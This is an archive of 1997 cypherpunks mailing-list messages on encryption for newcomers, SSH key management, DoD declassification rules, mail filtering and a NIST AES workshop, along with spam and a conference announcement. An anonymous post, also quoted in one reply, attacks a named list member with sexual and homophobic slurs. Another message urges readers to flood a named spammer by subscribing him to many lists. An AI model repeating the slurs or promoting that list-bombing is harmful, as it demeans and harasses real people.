In-Reply-To: <199704150017.CAA14325@basement.replay.com>
Message-ID: <Pine.A41.3.95.970414224743.53240E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Tue, 15 Apr 1997, Anonymous wrote:

> might bite your penis.
> 
>      /\_./o__ Timmy C[ocksucker] May
>     (/^/(_^^'
>    ._.(_.)_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 14 Apr 1997 20:55:43 -0700 (PDT)
To: enystrom@aurora.nscee.edu (Eric Nystrom)
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414185426.5427B-100000@aurora.nscee.edu>
Message-ID: <199704150354.WAA21300@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Eric Nystrom wrote:
> >   There isn't a week that goes by without my receiving an email from
> > someone who thanks me for the benefit they have gained by my introducing
> > them to encryption or anonymous remailers, yet I doubt that many of them
> 
> Toto hints at some issues here that I've been wondering about for a while 
> now.  What are some effective strategies for securely introducing 
> "newbies" to the world of cryptography and anon remailers?  I'm 
> currently attending college, which means that my peers all use email very 
> regularly -- a ripe environment for use of cryptography in email, I should 
> think.  However, nearly everyone's email accounts are on a central Unix 
> machine, which brings up many issues about the (lack of) security of 
> private keys on multiuser machines.
> 
> My question is this -- is it better for the crypto community in the long 
> run to have more people using encryption, but perhaps insecurely, or 
> to have fewer users whose communications are more cryptographically secure?

Multiuser Unix Security == No Security.

Your users may have illusions, but not true security.

First thing I'd suggest is to explain them that nothing that goes through 
that central unix machine is truly secure.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 14 Apr 1997 20:06:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: DoDeclassifying Crypto
Message-ID: <1.5.4.32.19970415030518.006dc354@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


From: DOD5200.1-R: "Information Security Program"
January, 1997

Appendix D

Special Procedures for Use in Systematic and Mandatory
Review of Cryptologic Information

1. General guideline: Cryptologic information uncovered in
systematic or mandatory review for declassification of 25-
year old government records is not to be declassified by
other than the National Security Agency. The information may
concern or reveal the processes, techniques, operations, and
scope of signals intelligence (SIGINT), which consists of
communications intelligence (COMINT), electronic
intelligence (ELINT), and foreign instrumentation signals
intelligence (FISINT), or it may concern the components of
Information Security (INFOSEC) which consists of
communications security (COMSEC) and computer security
(COMPUSEC), including the communications portion of cover
and deception plans. Much cryptologic information is also
considered "Foreign Government Information" as defined in
Para. 1.1(d) of the Executive Order 12958.

2. Recognition of cryptologic information may not always be
an easy task. There are several broad classes of cryptologic
information, as follows:

  a. Those that relate to INFOSEC: In documentary form,
they provide   COMSEC/COMPUSEC guidance or information. Many
COMSEC/COMPUSEC documents and materials are accountable
under the Communications Security Material Control System.
Examples are items bearing telecommunications security
(TSEC) nomenclature and crypto keying material for use in
enciphering communications and other COMSEC/COMPUSEC
documentation such as the National Telecommunications and
Information Systems Security Committee or is predecessor
organization, COMSEC/COMPUSEC Resources Program documents,
COMSEC Equipment Engineering Bulletins, COMSEC Equipment
System Descriptions, and COMSEC Technical Bulletins.

  b. Those that relate to SIGINT: These appear as
reports in various formats that bear security
classifications, frequently followed by five-letter
codewords, for example, World War II's ULTRA, and often
carry warning caveats such as "This document contains
codeword material" and "Utmost secrecy is necessary..." or
"Handle Via COMINT Channels Only" or "HVCCO" or "CCO."
Formats may appear as messages having addresses, "from" and
"to" sections, and as summaries with SIGINT content with or
without other kinds of intelligence and comment.

  c. Research, development, test, life cycle support,
planning, and evaluation reports and information that
relates to either COMSEC, COMPUSEC, or SIGINT.

3. Some commonly used words that help to identify
cryptologic documents and materials are "cipher," "code,"
"codeword," communications intelligence," or "COMINT,"
"special intelligence," "communications security," or
"COMSEC," "computer security or COMPUSEC," cryptanalysis,"
"crypto," cryptography," "cryptosystem," "cipher,"
"decipher," "decode," "decrypt," "direction finding,"
"electronic intelligence" or "ELINT," "electronic security,"
"encipher," "encode," "encrypt," "foreign instrumentation
signals intelligence" or "FISINT" pr "FIS"," "telemetry,"
"information systems security" or "INFOSEC," "intercept,"
"key book," "one-time-pad," "bookbreaking," "signals
intelligence" or "SIGINT," "signals security," "TEMPEST,"
and "traffic analysis" or "TA."

4. Special procedures apply to the review and
declassification of classified cryptologic information. The
following shall be observed in the review of such
information.

  a. INFOSEC (COMSEC and COMPUSEC) Documents and
Materials.

  (1) If records or materials in this category are
found in agency or department component files that are not
under INFOSEC control, refer them to the senior
COMSEC/COMPUSEC authority of the agency or department
concerned or return them, by appropriate channels, to the
address in item 4.c, below.

  (2) If the COMSEC/COMPUSEC information has been
incorporated into other documents by the receiving agency,
that information must be referred to the National Security
Agency/Chief Central Security Service (NSA/CSS) for review
before declassification occurs.

  b. SIGINT (COMINT, ELINT, and FISINT) Information.

  (1) If the SIGINT information is contained in a
document or record originated by a U.S. Government
cryptologic organization and is in the files of a non-
cryptologic agency or department, such material will not be
declassified. The material may be destroyed unless the
holding agency's approved records disposition schedule
requires its retention. If the material must be retained, it
must be referred to the NSA/CSS for systematic review for
declassification when it becomes 25-years old or older.

  (2) If the SIGINT information has been
incorporated by the receiving agency into documents it
produces, referral of the SIGINT information to the NSA/CSS
for review is necessary prior to any declassification
action.

  c. COMSEC/COMPUSEC or SIGINT information which
requires declassification by the NSA/CSS should be sent to:

  Director, National Security Agency/
  Chief, Central Security Service
  ATTN: Information Policy Staff (N5P6)
  Fort George G. Meade, MD 20755-6000

----------

For full document:

  http://jya.com/dod52001r.htm  (315K)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: m2c@idt.net
Date: Mon, 14 Apr 1997 21:21:55 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Your Job Posting
Message-ID: <2.2.32.19970415031324.0068aaec@pop3.idt.net>
MIME-Version: 1.0
Content-Type: text/plain


Ref: Robo Surfer Can Find Resumes

Hi:

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Surfer Resume Finder which is your Own Personal Internet Resume Robot.

Robo Surfer Resume Finder will search and surf the Internet for you looking
for resumes posted on individuals home pages that meet your criteria.  When
Robo Surfer finds resumes that meet your criteria, it saves them to your
hard drive for you to view off-line.

You can view all of the Resumes retrieved by Robo Surfer directly in your
Netscape Navigator or Internet Explorer Browser.  You can also import the
Resumes retrieved by Robo Surfer into most Databases.

The Robo Surfer Resume Finder is a very powerful Java based application that
runs on Windows 95, and can retrieve as many 1,000 resumes in a single run.

We would like to invite you to visit our Web site for additional information
on Robo Surfer Products.  Our Web site address is:

http://www.robosurfer.com

Or if you like, please feel free to give a call at 914-398-0911 to discuss
how Robo Surfer can help with your recruiting needs.

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Market 2000 Corp./Robo Surfer
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this message with the word REMOVE in the subject field, and we will remove
your address from our files.

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Robo Surfer Custom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Mon, 14 Apr 1997 23:49:37 -0700 (PDT)
To: ichudov@algebra.com
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <199704150354.WAA21300@manifold.algebra.com>
Message-ID: <Pine.CVX.3.91.970414204503.6444A-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 14 Apr 1997 ichudov@algebra.com wrote:

> Multiuser Unix Security == No Security.
> 
> Your users may have illusions, but not true security.
> 
> First thing I'd suggest is to explain them that nothing that goes through 
> that central unix machine is truly secure.

It's absolutely true that nothing on a centralized Unix machine is truly 
secure.  However, is abandoning all pretenses of crypto and security in 
favor of holding out for a utopian ideal really the best solution?  Does 
using encryption for email on multiuser machines actually hurt the cause 
of the security community in the long run?

(I'm not asking rhetorical questions here -- I'm truly looking for some 
thoughts on this.)

-Eric 

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Tue, 15 Apr 1997 00:14:03 -0700 (PDT)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <335307BE.7718@sk.sympatico.ca>
Message-ID: <Pine.CVX.3.91.970414235124.7621D-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 14 Apr 1997, Toto wrote:

>   I have found that rather than promoting encryption and anony
> remailers, that it is much more effective for me just to be aware
> of when someone mentions a problem they are having that can be
> solved by crypto/remailers.

Do you do consulting work for a specific audience that would be inclined 
to need to use remailers and encryption more than the average user, or 
are you referring more to just "average" friends?  If it is the second 
case, especially, I think that many of us might benefit from some 
specific scenarios in which you proposed encryption and remailers as 
solutions. 

>   The biggest thing to me is to try to point them toward a level
> of technology that they are capable of using, or will be capable
> of learning, given the level of their problem.

What programs do you usually suggest?  On my Linux box, I use pine 3.95's 
filter hooks to use PGP relatively seamlessly, but the multiuser system 
that most of my peers use email on does not have a version of pine 
capable of supporting filters.  I've looked into Raph's premail, and have 
set it up successfully, but it seems a bit obtuse for a normal user.  
(Plus I *REALLY* don't like the idea of storing my passphrase on the 
multiuser system as well.)

>   Also, if a wide range of people are using crypto, whether it
> is strong and secure or not, then there will be a larger group
> of people interested in the government or their employer not 
> interfering with their use of it.

This brings up an interesting point -- should we crypto users try and 
work with the system administrators to get PGP set up systemwide, or 
should we just try to do it on our own, as unobtrusively as possible?  A 
systemwide implimentation of PGP would probably be advantageous, but to 
ask for that certainly risks bringing attention to otherwise unobtrusive 
activities that the system administrators might not like.

-Eric

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Tue, 15 Apr 1997 01:11:12 -0700 (PDT)
To: ichudov@algebra.com
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <199704150718.CAA23959@manifold.algebra.com>
Message-ID: <Pine.CVX.3.91.970415005525.8148B-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 15 Apr 1997 ichudov@algebra.com wrote:

> I would not call it truly "utopian". There is not much that's needed to
> achieve reasonable personal security, protecting from attacks from the
> Internet  -- an individual (pesonal) computer system that offers no
> internet services. Could be bought for $300 or less.

That makes a lot of sense for data security in the general sense, but I'm 
uncertain how useful that would be in terms of helping the user have more 
secure email.  Is there an offline mail reader for standard Unix systems 
that would run on a platform like you describe?  

-Eric

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 14 Apr 1997 17:17:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [URGENT] Cyclic codes
Message-ID: <199704150017.CAA14325@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck Timmy C[ocksucker] May in the ass, a rabid tapeworm 
might bite your penis.

     /\_./o__ Timmy C[ocksucker] May
    (/^/(_^^'
   ._.(_.)_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 15 Apr 1997 00:21:02 -0700 (PDT)
To: enystrom@aurora.nscee.edu (Eric Nystrom)
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414204503.6444A-100000@aurora.nscee.edu>
Message-ID: <199704150718.CAA23959@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Eric Nystrom wrote:
> 
> On Mon, 14 Apr 1997 ichudov@algebra.com wrote:
> 
> > Multiuser Unix Security == No Security.
> > 
> > Your users may have illusions, but not true security.
> > 
> > First thing I'd suggest is to explain them that nothing that goes through 
> > that central unix machine is truly secure.
> 
> It's absolutely true that nothing on a centralized Unix machine is truly 
> secure.  However, is abandoning all pretenses of crypto and security in 
> favor of holding out for a utopian ideal really the best solution?  Does 
> using encryption for email on multiuser machines actually hurt the cause 
> of the security community in the long run?
> 

I would not call it truly "utopian". There is not much that's needed to
achieve reasonable personal security, protecting from attacks from the
Internet  -- an individual (pesonal) computer system that offers no
internet services. Could be bought for $300 or less.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 14 Apr 1997 19:26:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970414182326.008c8400@mail.io.com>
Message-ID: <199704150226.EAA28932@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


I've written an article on the subject of CA liabilities absent a state
digital signature law.  Read it and weep.

<A HREF="http://www.law.miami.edu/~froomkin/articles/trusted.htm">Click
here</A>


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | [still avoiding spam]
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Tue, 15 Apr 1997 10:02:14 -0700 (PDT)
To: cypherpunks <cypherpunks@toad.com>
Subject: Useful utility?
In-Reply-To: <199704150514.WAA03580@proxy1.ba.best.com>
Message-ID: <Pine.SUN.3.96.970415125057.28199L-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain



I've been hearing a lot of complaints from sysadmins who I try to convince
to run SSH lately.

"Key management is too difficult."
"I cant keep track of all that stuff."

I think that an interesting answer might be a ssh key issuing "robot." or
vending machine of sorts.

It might works something like this.

User wants access to the sshd running host.
Sysadmin gives the user a one time key only good for connecting to the
vending machine via SSH.  Would be nice if the robot recycled the password
every time a successful connection was made.

Connecting to the vending machine, the user would fill out a form
including the hostnames he was likely to connect from and etc.

After filling out that form, the user would be issued a key for the
system, which would be automatically entered into authorized_keys.
Whatever other automation was needed to get a user up and running on SSH
would be executed.

Of course, the main problem is that the sysadmin could capture the secret
key of the user and use it to create a false login trail or other
mischief.  This could be avoided by allowing a user generated key to be
submitted, of course.  Ideally both options would be presented with a
"less secure" warning for the former.

Might make a nice project for someone fluent in perl, or even a webpage.

I'd do it my self if my programming talents were not so pathetic.

Comments?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 15 Apr 1997 12:43:57 -0700 (PDT)
To: Rich Graves <llurch@stanford.edu>
Subject: Re: FCC to take control of the Net? Domain names and addresses...
In-Reply-To: <3353CE42.4DAC@stanford.edu>
Message-ID: <3353D98C.497E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:

> >NSF... FNC-AC... IANA... ARIN... IP... NSI... IAHC... RIPE... FCC...
> 
> There was a W3C IP BOF at WWW6 wherein this stuff was discussed.
> JM said they'd have a POV PDQ. Suggest you check out the WG WWW
> page ASAP.

  BT, DT.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Tue, 15 Apr 1997 13:49:46 -0700 (PDT)
To: "'cypherpunks@toad.com>
Subject: What's good for the goose...
Message-ID: <01BC49A3.FD146380@colobus.loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello all...

I was thinking about some things....like many other people, I really dislike junk email. How they get email addresses to send to is no mystery. So here's the idea. We've started seeing people change their email return addresses so that they can avoid spam. 

I've got a better idea. 

Make your return address "wallace@cyberpromo.com" , that's right... Good old spamford wallaces email address needs a little traffic. You'll want to change your SIG so that people don't freak out on you. 

IN FACT, and although I WOULD never RECCOMMEND THIS.  (notice the enunciation...'nuf said) I would be tempted, if I had the time of course, to subscribe the freak to as many lists as I could find, but of course I would never do such a thing, as that might at the very least make his communication links kind of active, bringing up the price of doing business for him. 


   Just a little idea....

      Chris DiBona


PS: Of course I would never do such a thing myself. This is information and ideas provided for your entertainment only...uh huh...that's right...for sure ;-)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Tue, 15 Apr 1997 18:48:10 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Not the General Election
Message-ID: <199704151316.OAA29828@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



In this week's Not The Election Issue of Shift Control:

"Now that the abattoir bosses have revealed that the real cause of the E.
coli outbreak is because cows are covered in faeces, how can we waste time
voting? We could save the life of a little old lady simply by hosing down a
cow." - Nick Green on alternative ways to spend May Day

"Nobody minds people's personal sexual foibles, but it'd be the decent
thing if old Piers Merchant had campaigned for the rights of sex workers.
Or if Sir Michael Hirst had voted for lowering the age of homosexual
consent. Being too apathetic to register my vote even for Reader's Digest
free prize draws, I have failed to grill my local party candidates on this
particular hot sausage. In fact, my only political contact is the landlord
of the pub next to my mother's house, who is the chairman of the Monster
Raving Loony Party." - Kate Spicer tries to decide how - or if - she should
vote

"The Monarch will preferably be of the warrior mentality, with a smart,
non-people-based army. Say, for example, 10 battalions of cloned and
chip-implanted SAS geezers plus a lot of anti-personnel surveillance gear
embedded in any interactive mass media - telephones, computers,
televisions. This way the King can not only know and rule his people, he
can direct market to them as well." - Robin Hunt assesses alternatives to
the liberal democratic system

Also this week:

Our quiz asks how wild you are about sleaze, our consumer section explains
how to eat a liberal, Leo Hickman provides his fantasy Cabinet, plus more
antics from Freebee, the rock 'n' roll insect with ants in his pants.

Shift Control: incorruptible as ever, waiting for you at
http://www.shiftcontrol.com

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: =?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= <hjk@ddorf.rhein-ruhr.de>
Date: Tue, 15 Apr 1997 05:20:04 -0700 (PDT)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <199704131915.OAA04079@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970415135757.23182G-100000@alien.lummerland.de>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 13 Apr 1997, Igor Chudov @ home wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > >
> > > [this is only of interest to UNIX(tm) users. Windows users, please ignore]
> > 
> > I suspect that a typical Windows user with a POP account usually has a unix
> > account and a home directory (although its shell may be /etc/false or some
> > such); he may be able to ftp to it and create a .forward file pointing
> > to procmail, who will look at the incoming mail before passing on to his
> > PPP. I don't really know shit about this, so don't flame me if this
> > doesn't work. :-)
> 
> If the user shell is /bin/false, most likely the .forward file will not
> be able to invoke any programs.
> 
> 	- Igor.
> 
> 
> 
This is a real problem to me. As I recieve mail via cslip using
popclient there seems to be no way to get it sorted. Though I'm not a
programmer at all I could instruct procmail to do what I want. It works
fine when I'm sending mail from one account to the other locally. You can
find information on procmail on the net (and this list). But nobody seems
to know about popclient, which according to the man-pages may be
influenced by an awk-script to do sorting.
Does anybody know about an example script on that? An URL?
Not that I know about awk. But you can't do anything w/o trying.

-Tom

################################################################################
   Heinz-Juergen Keller                               hjk@ddorf.rhein-ruhr.de 
   Derendorfer Str.36                                 voice:49-211-464314     
   40479 Duesseldorf                                                           
   Germany
################################################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Les Pourciau at UMem <POURCIAU@MSUVX1.MEMPHIS.EDU>
Date: Tue, 15 Apr 1997 12:24:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: The Ethics of Electronic Information
Message-ID: <01IHQK3F1V5IB74UI2@MSUVX1.MEMPHIS.EDU>
MIME-Version: 1.0
Content-Type: text/plain


   ******WITH ALL APOLOGIES FOR POSTING TO MULTIPLE LISTS,****** 
              ******PLEASE DISTRIBUTE WIDELY******

THE ETHICS OF ELECTRONIC INFORMATION IN THE 21st CENTURY
September 26-28, 1997

Sponsored By:  The University of Memphis Libraries
	       The U of M Information systems
               The U of M Linder Center for Urban Journalism
               The U of M Division of Research and Graduate School
               The U of M Marcus Orr Center for the Humanities
               The U of M Cecil C. Humphreys School of Law
               The U of M Fogelman College of Business and Economics

CONFERENCE VENUE
Fogelman Executive Center, The University of Memphis, Memphis TN, U.S.A.
http://www.people.memphis.edu/~operations/fec_list.htmlx
Additional Memphis Web Site: http://www.memphistravel.com

THE ELECTRONIC INFORMATION ISSUE
     Recently historian Neil Postman warned against the naive belief that
information is "an unmixed blessing, which through its continued and
uncontrolled production and dissemination offers increased freedom, creativity,
and peace of mind" (1992, p. 71*).  Indeed, information and information
technology raise a host of difficult issues:  

     Who will be authorized to have access to the plethora of information that
is generated by computers in the 21st century?

     Will privacy, that most revered of American values, be passe, given the
power of computers and the invasiveness of information bureaucracy and
technology?

     Will the possession of information mean riches for the possessors, and
will those possessors of information inevitably be the rich nations and
neighborhoods of the earth?

     Who will own information, and who will be barred from access to
information?  How will copyright be administered on the Internet?

These are only a few of the myriad of questions and concerns that occur
to practitioners in a variety of professional fields.

*Neil Postman, 1992. TECHNOPOLY: THE SURRENDER OF CULTURE TO TECHNOLOGY,
 New York, Vintage Books, 1992.

CALL FOR PAPERS
The Symposium Planning Committee seeks original research and application
oriented papers, not previously presented elsewhere, which address 
questions about ethical considerations attendant to the forthcoming
Information Age.  You are invited to submit an abstract of a proposed paper 
for consideration by the Review Committee. Alternative modes of presentation, 
e.g., panel discussions, case studies, will be considered. The deadline for 
receipt of proposals is April 25, 1997. The following guidelines should be 
observed in the preparation and submission of your abstracts:

1. The abstract should be a precis of your paper and should be between
   1000 and 1,500 words in length.
2. The heading should include the title of your paper, followed by the
   name(s) and affiliation(s) of the author(s), and the name, address,
   FAX number, and email address of the author who will present the 
   paper at the Symposium.
3. Acceptance or otherwise will be at the discretion of the Symposium
   Planning Committee. The presenting author will be notified of the
   Committee decision no later than May 9, 1997.  
4. Upon acceptance of abstracts, authors will be required to forward,
   no later than August 1, 1997, a copy of their papers as an ASCII 
   file, or a URL which can linked to the Symposium site. 
5. Abstracts should be sent to: 

     Dr. Lester J. Pourciau
     Director of Libraries and
     Executive Chair, 
     EEI Planning Committee
     McWherter Library 203
     The University of Memphis
     Campus Box 526500
     Memphis, TN 38152-6500
     Email: pourciau@cc.memphis.edu

CONTACT FOR GENERAL INFORMATION:
   
     Mr. Tom Mendina
     Assistant to the Director
     The University of Memphis Libraries
     Phone:  901/678-4310
     Fax:   901/678-8218
     E-mail: tmendina@cc.memphis.edu

LODGING
     Fogelman Executive Center Hotel
     $65 for one person; $10 per additional person
     901/678-5410

     Ridgeway Inn
     $76 for one person
     Complimentary airport shuttle
     901/766-4000

REGISTRATION
To register for symposium attendance only or paper presentations, complete 
the form BELOW and mail it for receipt no later than August 30, 1997 to:


		THE UNIVERSITY OF MEMPHIS
		P.O. BOX 1000, DEPT. 313
		MEMPHIS TN 38148-0313 U.S.A.

----DETACH-------DETACH-------DETACH-------DETACH-------DETACH------DETACH-----

		    THE UNIVERSITY OF MEMPHIS
		SYMPOSIUM ON THE ETHICS OF ELECTRONIC 
                  INFORMATION IN THE 21st CENTURY
                       September 26-28, 1997
                     FOGELMAN EXECUTIVE CENTER
                     THE UNIVERSITY OF MEMPHIS

REGISTRATION FORM

Make checks payable to: The University of Memphis

FAX NUMBER 901-678-2272

For VISA/MASTERCARD/DISCOVER
Card number____________________________________
Expiration Date_________________________________
Signature of cardholder_________________________
 
FEES (includes breakfasts, lunches, and Friday evening cocktails
      and banquet)
	
	Attendance only:	$150
	Presenters:		$100
        Students                $50
	Late Fee:		$50 added to any remittance after
                                    August 30, 1997

NAME_______________________________________________________________

ADDRESS____________________________________________________________

CITY_______________________________________________________________

STATE__________________________________________ZIP_________________

COUNTRY____________________________________________________________

ORGANIZATION/AFFILIATION___________________________________________

POSITION/TITLE_____________________________________________________

TELEPHONE__________________________________________________________

FAX________________________________________________________________

E-MAIL_____________________________________________________________

Receipt #_______________(for UofM Office use only)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerome Thorel <jt@freenix.fr>
Date: Tue, 15 Apr 1997 05:42:59 -0700 (PDT)
To: thorel@netpress.fr
Subject: lambda 3.02 online
Message-ID: <v03007807af793515e1a4@[194.51.213.140]>
MIME-Version: 1.0
Content-Type: text/plain


Bonjour,

Lambda 3.02 edition by majordomo is not yet ready. The bulletin's text
edition will come out this evening -- 8 pm GMT.

You can access to it on the web:
http://www.freenix.fr/netizen/302-e.html

This bulletin reproduces the Statewatch
(http://www.poptel.co.uk/statewatch) report released Feb. 27 about the
global wiretap pact agreed among European Union's 15 members for
international interceptions of telecommunications.

Archived on the lambda's site thanks to Tony Bunyan, Statewatch's director:
http://www.freenix.fr/netizen/swreport.html

Privacy yours,
--
NOTE
If you receive this message, that means you are registered as a subscriber
of majordomo-backed lambda list. To unsubcribe, send to
majordomo@freenix.fr the following command (subject blank - in the message
field):
	unsubscribe lambda-en your@email
--


--> Jerome Thorel
lambda bulletin
Paris, France
www.freenix.fr/netizen <--






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Tue, 15 Apr 1997 12:33:03 -0700 (PDT)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: Useful utility?
In-Reply-To: <Pine.SUN.3.96.970415125057.28199L-100000@polaris.mindport.net>
Message-ID: <t534td884n6.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> writes:

>> I've been hearing a lot of complaints from sysadmins who I try to convince
>> to run SSH lately.
>> 
>> "Key management is too difficult."
>> "I cant keep track of all that stuff."
>> 
>> I think that an interesting answer might be a ssh key issuing "robot." or
>> vending machine of sorts.
>> 
>> It might works something like this.
>> 
>> [ details omitted ]
>> 
>> Comments?

It sounds like you've basically reinvented Kerberos, at least from a
key management perspective.  If you consider some of the pk extensions
to Kerberos which have been proposed recently, it's even vaguely
similar cryptographically.

SSH is great if you control everything in your environment, and if the
number of users and endpoints is small.  But as these parameters grow
and change, Kerberos is more useful, because it scales more easily.
What would be truly useful would be to combine the different
approaches, so that you could use whichever mode was most appropriate
to your environment.  This is possible, but the details are subtle,
and would probably make backward compatibility difficult.

		Marc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Tue, 15 Apr 1997 19:12:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Meeting Report: "Developing the Advanced Encryption Standard"
Message-ID: <v03007809af797c2a3e44@[206.11.192.92]>
MIME-Version: 1.0
Content-Type: text/plain


                           Meeting Report:
        "Developing the Advanced Encryption Standard" Workshop

                           15 April 1997
                         by Bruce Schneier


NIST held a workshop to discuss the proposed Advanced Encryption Standard
(AES) today.  About 70 people, from government and industry, attended.
Specifically, the workshop was convened to discuss the minimum
acceptability requirements, evaluation criteria, and submission
requirements for the AES.  First my report, and then some opinion.

Miles Smid presented NIST's goals for AES.  They wanted a strong encryption
block encryption algorithm for government and commercial use, one that
would support "standard codebook modes" of encryption, "significantly more
efficient than triple DES," and with a variable key size.

Smid then summarized the comments and their proposed responses.
Thirty-three comments (via paper and e-mail) were received in response to
the 2 January 1997 Federal Register.  These comments were all distributed
at the workshop.

Responses to comments on the "Minimum Acceptability Requirements and
Evaluation Criteria."  (Please note that these responses are only "proposed
responses," and are not the official responses of NIST.)

	1.  NIST agrees that all unclassified analyses will be made public,
and encourages that the mathematical rationale behind algorithms be
presented along with the algorithms.

	2.  NIST prefers a block cipher to a stream cipher because it would
be compatible with DES, and because existing standards specify block modes.
